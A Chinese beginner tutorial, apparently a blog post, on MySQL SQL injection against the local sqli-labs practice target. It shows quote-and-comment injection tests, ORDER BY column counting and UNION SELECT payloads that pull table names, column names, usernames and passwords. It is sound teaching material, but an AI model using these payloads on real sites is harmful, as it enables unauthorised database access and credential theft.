mysql常见漏洞_网络安全菜鸟学习之漏洞篇——sql(一)

前言:漏洞篇包含了一些常见的漏洞与某些常见的利用方法。

首先我们先了解一下Web应用技术是如何进行交互的。如图所示(图片来自《SQL注入攻击与防御》一书),这是常见的两种Web应用技术进行交互方法。从中我们不难看出——我们在对网站进行访问并进行数据调用的时候,实际上是数据库执行了一系列的sql语句。06e9a0a6f113d16433b2b4ecfd1ea2ff.png

f7f114adbce15de69403ab7a2993a7a4.png

那么我们可以想象一下,我们是不是可以通过修改sql语句来达到执行我们想执行的操作。好,那么我们现在就用下面这个案例进行演示,注意网址(先无须看懂,后面会讲细节)。591fcf0ae0b9108456cca483edde6468.png

5626d9c99cfb1c6bea462cb46517eb8d.png

45d3ff51210170188fdc161420ba531f.png

cac9e688ca2b54af42ecc0622d96ab34.png

de39d2b2c853b37702c5cd187629b892.png

ccba54dc343f75c83b730bc64d752fda.png

80aea7beccf74df55acb33580cab9b6b.png

6a8d051231aa2d2771cf6930bc4e75d6.png

5b2ce5e4644259735668a8cd143c73d1.png

88ea85b24b59e610e66ea4f9bec49d09.png

d5de7819fe83150e653f933abb7cc950.png

e8d45514dae421f1ccfa26c04879244d.png

好,到这里我们就获得了数据库名。现在我开始具体的讲解。

首先,先介绍一下我用的是名叫phpStudy的PHP集成环境,下面是下载地址(我用的是2018版本)

https://www.xp.cn/download.html

靶场是sqli-labs,下面是下载地址

https://github.com/Audi-1/sqli-labs(具体的安装流程我会单独写一篇文章或者大家也可以在网上查)

现在开始讲原理。

1.判断注入点

我们想进行sql注入,我们就需要先判断注入点(是否能插入sql语句并然其执行)

如何判断呢?这里就不得不提到我们的and 1=1。

其实和许多语言一样,sql语句中也有and、or的用法。即

真 且 真 = 真

真 且 假 = 假

真 或 假 = 真

好,现在我们回到之前的案例中(%20是空格%27是单引号)

网页正常访问是:http://127.0.0.1/sqli-labs-master/Less-1/index.php?id=2

然后我们改成了:http://127.0.0.1/sqli-labs-master/Less-1/index.php?id=2 and 1=1(显示正常)

然后我们又改成了:http://127.0.0.1/sqli-labs-master/Less-1/index.php?id=2 and 1=2(显示正常)

这是为什么?来,我们来看源代码(注意我框出来的地方)16d52aa47c617bf76738fcf89eb3f828.png

$id=$_GET['id'];$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

来看第一句,第一句的意思是用get方式接受一个名为id的值,并把值赋给id(什么是get方式这个在下一篇文章里讲,这里不重要)。现在我们把之前id赋予与的值带进第二句去,然后再写出语句

$sql=“SELECT * FROM users WHERE id=‘2’ LIMIT 0,1”;

$sql=“SELECT * FROM users WHERE id=‘2 and 1=1’ LIMIT 0,1”;

$sql=“SELECT * FROM users WHERE id=‘2 and 1=2’ LIMIT 0,1”;

这里你会发现它把2 and 1=2看成了一个整体,大家可能问为什么还是出来id=2的时候的值

可以参考一下这个解释https://zhidao.baidu.com/question/1952853439075012508.html

我们通过and 1=1和and 1=2得出结论:这里无法注入(但没法判断是否是注入点),我们需要找别的方式试试。

这时我们给id赋值,id=2’ and 1=1

即http://127.0.0.1/sqli-labs-master/Less-1/index.php?id=2’ and 1=1

它会报错,“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’ LIMIT 0,1’ at line 1”

我们把它放在源代码中来理解一下

$sql=“SELECT * FROM users WHERE id=‘2’ and 1=1’ LIMIT 0,1”;

我们会明显发现多了一个单引号,所以说我们就需要把后面的单引号注释掉

即http://127.0.0.1/sqli-labs-master/Less-1/index.php?id=2' and 1=1--+

然后我们再写http://127.0.0.1/sqli-labs-master/Less-1/index.php?id=2' and 1=2--+

这时网页没有数据回显,证明这里有注入点

2.查询字段数

在讲查询字段数之前,我们需要搞清楚什么是字段

如图所示,Mysql数据库里有多个数据库,数据库里有多个表,表里有多列,列里有数据

字段数就是数据表的列名数b1018cb63eaec8f541ce71225724259a.png

556a03fb7c8e27c67d52b62e2db95043.png

700f4a9d4bd6ba9ac77b58d24775fef4.png

我们想查询数据库的内容,就需要查询字段数(至于为什么一会讲)

而查询字段数的语法就是order by x

正如我前面的案例中的用法,通过不断的变换X的值来判断字段数,具体如下:

http://127.0.0.1/sqli-labs-master/Less-1/index.php?id=2' order by 1--+http://127.0.0.1/sqli-labs-master/Less-1/index.php?id=2' order by 2--+http://127.0.0.1/sqli-labs-master/Less-1/index.php?id=2' order by 3--+http://127.0.0.1/sqli-labs-master/Less-1/index.php?id=2' order by 4--+

(报错,证明字段数为3)

3.联合查询注入

到这一步我们也算真正意义上的注入了。在开讲之前,我们要把之前遗留的问题讲一下。

为什么需要查询字段数?

这个就与联合查询注入有关。所谓的联合查询注入就是用union连接两个查询语句。值得注意的是union 内部的 select 语句必须拥有相同数量的列。也就是说前后两个语句的字段数必须一样。

具体可以参考一下这篇文章https://www.jianshu.com/p/3a7363ffffac

好了,解释了为什么查询字段数,我们现在来剖析一下案例中的操作。

首先我进行了这么个操作:

http://127.0.0.1/sqli-labs-master/Less-1/index.php?id=-2' union select 1,2,3--+

(1).-2

为什么是-2呢?目的是为了让前面一个查询语句返回为空。因为当前一个查询语句返回为空时,后一个查询语句返回的内容才有地方显现出来。

e606b380ef30b8a08e965b038f0ad62e.png

(2).union select 1,2,3

union select 1,2,3有什么用?它的用途是查找出那些地方有数据。(后面慢慢就理解了,也可以参考一下这篇文章https://blog.csdn.net/weixin_44840696/article/details/89166154)

好了,第一步讲完了,我们讲解第二步。

由于我们上一步知道了在2和3的位置有回显,那么我们就可以在这两个地方查询我们想要的东西。按照之前讲的Mysql数据库里有多个数据库,数据库里有多个表,表里有多列,列里有数据。所以说我们先查询数据库名,然后套娃就行。

所以我们就写:http://127.0.0.1/sqli-labs-master/Less-1/index.php?id=-2' union select 1,database(),3--+

到这里之前案例里内容结束了,后面是一个套路,我就不怎么讲了。只是提一下group_concat是把括号里所有的内容列出来。可以看一下下面两张对比图,也可以参考一下这篇文章:https://blog.csdn.net/qq_35531549/article/details/90383022

6f3eae087976c9b6e6c6608afbd8401e.png

0ee6de560fad52176a10687e8741a510.png

获取表名:

获取数据库名security下面的表名信息

http://127.0.0.1/sqli-labs-master/Less-1/?id=-2' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

841f466046128caa85dc18a9dbfa0109.png

获取列名:获取数据库名security下的表名users下面列名信息

http://127.0.0.1/sqli-labs-master/Less-1/?id=-2' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and  table_schema='security'--+

29b6c8cf7b78d4f02582edd5566a49de.png

获取数据:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-2' union select 1,password,username from users limit 2,1--+(limit 2,1 从2位置向后取1条记录。)

c153fe9a2346c1a89e0363d1cf545267.png

(ps:求各位看官一键三连。)

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值